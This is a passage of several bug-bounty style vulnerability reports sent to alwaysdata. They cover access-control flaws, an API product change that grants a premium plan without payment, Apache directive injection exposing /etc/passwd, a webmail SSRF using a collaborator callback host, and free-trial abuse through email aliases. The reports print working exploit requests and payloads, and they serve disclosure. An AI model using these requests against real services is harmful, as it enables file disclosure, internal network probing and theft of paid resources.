2. Upon doing so, you will be able to see whether this user has 2FA enabled or not.

I sent a proof of concept:https://admin.alwaysdata.com/support/77431/377370-bandicam%202024-08-26%2019-23-18-853.mp4

Impact:

The ability to determine the 2FA status of a user account can pose a security risk. Attackers who gain administrative access could potentially use this information to tailor their attacks based on whether a target user has an additional layer of security.

Security Report:Broken Access Control (BAC) refers to a security vulnerability where users are able to access or manipulate resources that they are not authorized to

Introduction:
Broken Access Control (BAC) refers to a security vulnerability where users are able to access or manipulate resources that they are not authorized to. In this report, we will discuss an instance of BAC where a user is able to delete a technical support ticket to which they have been invited, even though they do not have the necessary permissions to do so.

The user who is added to the ticket does not have the permission to delete the ticket, he is not the one who created it.

Command used to delete:https://admin.alwaysdata.com/support/"Ticket_Number"/delete/

Steps to reproduce the bug:

1- Open a technical support ticket
2- Add a user with you in the ticket
3- Try the delete order I sent you
4- You will notice that the invited user can delete the ticket completely and this is not his prerogative

Impact:
The impact of this vulnerability is significant as it compromises the integrity and confidentiality of the technical support system. Unauthorized deletion of tickets can lead to loss of important information, disruption of support services, and potential security breaches if sensitive information is contained within the tickets.

Hello Security Team,

I would like to report a security issue identified while testing authenticated account behavior through the API within my own alwaysdata account.

Name of vulnerability:
Authenticated API allows direct modification of account product reference resulting in premium-tier subscription state before payment workflow completion

Description:
While testing within my own alwaysdata account and using an API token generated through the administration interface, I observed that the authenticated account update endpoint accepts direct modification of the `product` field associated with an existing account object. When a valid premium product identifier is submitted through the account PATCH endpoint, the API accepts the change and updates the account object immediately.

After the modification is accepted, the subscription object reflects the new premium-tier product and corresponding pricing, and the administration interface displays the upgraded subscription together with the associated infrastructure values. During verification, this state appeared before any payment method was configured and while the billing section continued to show zero balance and no recorded transaction.

The observation may indicate that product assignment through the API is applied before the full subscription payment workflow is completed, or that additional validation is intentionally deferred. Because the behavior affects subscription state, API object values, and visible infrastructure allocation simultaneously, I am reporting it for review to confirm whether this is expected across all account states.

Steps to reproduce and proof of concept:
First, an API token was created from the administration interface and used with HTTP Basic authentication.

The initial account state was verified through:

curl -u "342d00dc" "https://api.alwaysdata.com/v1/account/"

The response showed the account associated with its original product identifier, corresponding to the initial assigned plan. This state is attached in image 01_api_original_product_state.png.

Next, the account object was updated using:

curl -u "342d00dc" -X PATCH "https://api.alwaysdata.com/v1/account/463*/" -H "Content-Type: application/json" -d '{"product":2011}' The API accepted the modification successfully. The accepted request is attached in 03_api_patch_request_accepted_http204.png. A follow-up request to the same account endpoint returned the updated product reference: curl -u "342d00dc" "https://api.alwaysdata.com/v1/account/463*/"

The updated response is shown in 02_api_product_changed_to_premium.png.

The subscription endpoint was then queried:

curl -u "342d00dc" "https://api.alwaysdata.com/v1/subscription/"

The returned subscription object reflected the premium-tier product with corresponding price and expiry information, shown in 04_subscription_price_updated_without_payment.png.

The administration interface then displayed the premium plan under subscriptions, visible in 05_ui_premium_subscription_active.png.

The usage dashboard displayed the associated premium resource values, including increased disk, RAM, and CPU allocation, visible in 06_ui_infrastructure_resources_allocated.png.

The payment section showed no configured payment method in `07_no_payment_method_configured.png`, while billing remained at zero balance with no transaction shown in 08_billing_balance_zero_no_transaction.png.

All verification was performed only on infrastructure attached to my own account.

Impact:
The observed behavior suggests that authenticated modification of the account product reference may allow premium subscription state to be reflected in account configuration before billing validation is finalized through the standard subscription workflow.

Because the updated product is visible both through API responses and in the administration interface, and because premium resource values appear in the usage view during the same state, this may represent an authorization consistency issue between account configuration and billing enforcement.

I am not asserting unintended abuse, only reporting that the technical sequence appears to permit product state transition before payment-related confirmation becomes visible in the account.

Vulnerable HTTP Request and Response:

Request:

PATCH /v1/account/463*/ HTTP/1.1
Host: api.alwaysdata.com
Content-Type: application/json
Authorization: Basic <token> {
"product": 2011
} Response: HTTP/1.1 204 No Content Verification request: GET /v1/account/463*/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic <token>

Verification response excerpt:

{
"id": "…",
"product": {
"href": "/v1/product/2011/"
}
}

Subscription verification response excerpt:

{
"product": {
"href": "/v1/product/2011/"
},
"price": "165.000000000000000"
}

Remediation:
A possible mitigation would be to validate product changes server-side against the expected subscription and billing workflow before allowing direct modification of the account object through the public API. Premium product identifiers could either be restricted from direct account PATCH operations or accepted only after confirmation that the account is already eligible for the requested subscription state through the intended billing path.

Another possible approach would be to separate product object updates from actual infrastructure activation until billing confirmation is complete.

Please let me know if any additional details would be helpful.

Best regards

Hello Security Team,

I would like to report a security issue identified while testing site configuration through the API.

Name of vulnerability:
Apache directive injection through vhost_additional_directives in site configuration API

Description:
The vhost_additional_directives field appears to accept Apache directive content without filtering. In testing performed on a site under my own account, a directive supplied through this field was applied to the generated virtual host configuration and became active on the hosted site.

A simple Alias directive was accepted and mapped a local file to a public path, indicating that directives provided through this field are interpreted by Apache as part of the site configuration.

Steps to reproduce:
Using a site under my own account, I sent the following PATCH request:

curl -u "<account>:<password>"
-X PATCH "https://api.alwaysdata.com/v1/site/<site_id>/"
-H "Content-Type: application/json"
-d '{"vhost_additional_directives":"Alias /readfile /etc/passwd"}'

After the configuration was applied, I accessed:

https://<test-subdomain>.alwaysdata.net/readfile

The response returned the contents of /etc/passwd. A screenshot showing both the request and the resulting response is attached for reference.

Impact:
This behavior suggests that directives supplied through the API may be applied without validation, allowing configuration changes beyond the intended scope of this field. In the tested case, it resulted in local file exposure through a web-accessible path on a site under my own account.

Vulnerable HTTP Request and Response:

Request:

PATCH /v1/site/<site_id>/ HTTP/1.1
Content-Type: application/json

{
"vhost_additional_directives": "Alias /readfile /etc/passwd"
}

Observed response after visiting the configured path:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…

Remediation:
A possible remediation would be to validate or restrict directives accepted in vhost_additional_directives, allow only expected configuration directives, and reject directives that expose filesystem paths or alter request routing outside the intended use of this field.

Testing was limited to infrastructure associated with my own account. No destructive actions were performed, and only read verification was used to confirm the behavior.

Please let me know if any additional details would be helpful.

Best regards

Dear alwaysdata security team,

While performing security research on alwaysdata services, i identified a Server-Side Request Forgery (SSRF) vulnerability at webmail.alwaysdata.com.

When i send an HTML email containing <link rel="stylesheet"> tags to a webmail user, and they preview the message, your server fetches those URLs server-side using GuzzleHttp. i was able to confirm that this is a 0-click vulnerability by directly calling the preview endpoint with _safe=1 parameter, the SSRF triggers automatically without the user clicking “Allow remote resources”.

This allows an attacker to make your server issue HTTP requests to arbitrary URLs, including internal network resources. i was also able to confirm content exfiltration.
Impact

An attacker can force the server to make HTTP requests to internal network services, perform port scanning, and potentially exfiltrate sensitive data from internal endpoints.
Proof of Vulnerability

i set up a Burp Collaborator listener and sent an email with a malicious <link> tag pointing to my collaborator domain. When i previewed the email with _safe=1, i received an HTTP request from your server, this IP 185.31.40.185 belongs to alwaysdata infrastructure:

WHOIS Data:

inetnum:    185.31.40.0 - 185.31.43.255
netname:    FR-ALWAYSDATA-20130719
descr:      ALWAYSDATA SARL
country:    FR
org:        ORG-AS291-RIPE
ASN:        AS60362

This confirms the HTTP request originated from your server, not from my browser.
PoC
Step 1: Send Malicious Email

POST /roundcube/?_task=mail&_action=send HTTP/2
Host: webmail.alwaysdata.com
Content-Type: application/x-www-form-urlencoded
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
X-Roundcube-Request: M1HcH0yTzJMkS4Fa6ltUw9tD4Z4iFaH9

_token=M1HcH0yTzJMkS4Fa6ltUw9tD4Z4iFaH9&_task=mail&_action=send&_id=104032622669b7340a72208&_from=70213&_to=payload-life@alwaysdata.net&_subject=Test&_is_html=1&_message=%3C!DOCTYPE+html%3E%3Chtml%3E%3Chead%3E%0A%3Clink+rel%3D%22stylesheet%22+href%3D%22http%3A%2F%2Fm3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com%2Fssrf-poc.css%22%3E%0A%3C%2Fhead%3E%3Cbody%3ESSRF+Test%3C%2Fbody%3E%3C%2Fhtml%3E

Decoded email body:

<!DOCTYPE html>

<head>
<link rel="stylesheet" href="http://m3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com/ssrf-poc.css">
</head>
<body>SSRF Test</body>

Step 2: Preview Email with _safe=1

GET /roundcube/?_task=mail&_framed=1&_uid=8&_mbox=INBOX&_safe=1&_action=preview HTTP/2
Host: webmail.alwaysdata.com
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
Accept: text/html

The _safe=1 parameter bypasses the “Allow remote resources” prompt. The response contains modcss links that trigger the SSRF.
Step 3: Trigger SSRF via modcss

The preview response contains links like:

<link rel="stylesheet" href="./?_task=utils&_action=modcss&_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css">

When this modcss URL is fetched, the server makes the SSRF request:

GET /roundcube/?_task=utils&_action=modcss&_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css&_c=message-htmlpart1&_p=v1 HTTP/2
Host: webmail.alwaysdata.com
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
Accept: text/css

This request causes the server to fetch the attacker’s URL server-side using GuzzleHttp.
Step 4: Internal Enumeration (Optional)

To target internal services, use this email body:

<!DOCTYPE html>

<head>
<link rel="stylesheet" href="http://127.0.0.1/">
</head>
<body>Internal enumeration</body>

Steps to Reproduce

  Login to webmail.alwaysdata.com with a valid account
  Generate a Collaborator payload or webhook
  Send an HTML email to yourself with a malicious <link> tag (see Step 1)
  Preview the email with _safe=1 parameter (see Step 2)
  Fetch the modcss URL from the preview response (see Step 3) - this triggers the SSRF
  Check your Collaborator for incoming HTTP requests from 185.31.40.185

Results
1. Collaborator Received HTTP Request from the Server

When i triggered the SSRF, my Collaborator received this request:

Timestamp: 2026-03-15T22:18:55.739Z
Client IP: 185.31.40.185
User-Agent: GuzzleHttp/7
Request: GET /ssrf-poc.css HTTP/1.1
Host: m3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com

If this was my browser making the request, the User-Agent would be Mozilla/5.0… and the IP would be my home IP. Instead, it’s GuzzleHttp/7 from 185.31.40.185.
2. Content Exfiltration

When i send an email with a <link> tag pointing to a CSS file (e.g., the Roundcube skin CSS), the server fetches it and returns the full content:

Request:

GET /roundcube/?_task=utils&_action=modcss&_u=tmp-da2506570833332561f753a8e4264709.css&_c=message-htmlpart1&_p=v1 HTTP/2
Host: webmail.alwaysdata.com
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
Accept: text/css,*/*;q=0.1

Response:

HTTP/2 200 OK
Server: nginx
Date: Sun, 15 Mar 2026 23:08:11 GMT
Content-Type: text/css;charset=UTF-8
Via: 1.1 alproxy

#messagehtmlpart1 #v1filtersetslist td.v1name:before,
#messagehtmlpart1 #v1filterslist td.v1name:before,
#messagehtmlpart1 #v1identities-table td.v1mail:before,
#messagehtmlpart1 #v1message-header .v1header-links a:before,
… [truncated - full CSS content exfiltrated]

3. Internal Network is Reachable

When i target internal IPs like 127.0.0.1 or external Collaborator URLs, the server connects and returns “Invalid response” however requests are still being sent internally:

Request:

GET /roundcube/?_task=utils&_action=modcss&_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css&_c=message-htmlpart1&_p=v1 HTTP/2
Host: webmail.alwaysdata.com
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
Accept: text/css,*/*;q=0.1

Response:

HTTP/2 404 Not Found
Server: nginx
Date: Sun, 15 Mar 2026 23:08:25 GMT
Content-Type: text/html; charset=UTF-8
Via: 1.1 alproxy

Invalid response returned by server

Hello Alwaysdata Security Team
I would like to report a security vulnerability.

Severity level: Medium

Target: https://admin.alwaysdata.com

Category: Business Logic Flaw

Summary
A business logic flaw was discovered in the user registration system that allows a single individual to register an unlimited number of free trial accounts using a single primary email address. This is achieved by exploiting the additional addressing feature (the "+" sign) in email providers like Gmail.

Reproduction Steps
Example accounts:
laminasi0390@gmail.com (Primary Account)
laminasi0390+2@gmail.com (Detected as a new account)
laminasi0390+3@gmail.com (Detected as a new account)

1. Register and log in to the first account (primary account) using the email address: laminasi0390@gmail.com. Activate the free trial.
2. Register a second new account using the email address: laminasi0390+2@gmail.com. Check your inbox at laminasi0390@gmail.com. You will receive a verification email for the second account. Verify it and note that the free trial is valid for this "new" account again.
3. Register a third new account using the email address: laminasi0390+3@gmail.com. Check your inbox at laminasi0390@gmail.com. You will receive a verification email for the third account. Verify it and note that the free trial is valid for this "new" account again.
4. Repeat the process with +4, +5, and so on.

Business Impact
1. Financial Loss: Users can continue to enjoy premium features without paying.
2. Resource Abuse: Server load increases due to serving duplicate accounts.
3. Abuse of unlimited free trials

Recommended Fixes
1. Remove Aliases: Identify the + signs and delete all characters between them up to the @ sign.
2. Normalize email formats
3. Enforce uniqueness on canonical email values.
4. Optionally, block email aliases if they are not supported.

Regards,
Muchamad Alfian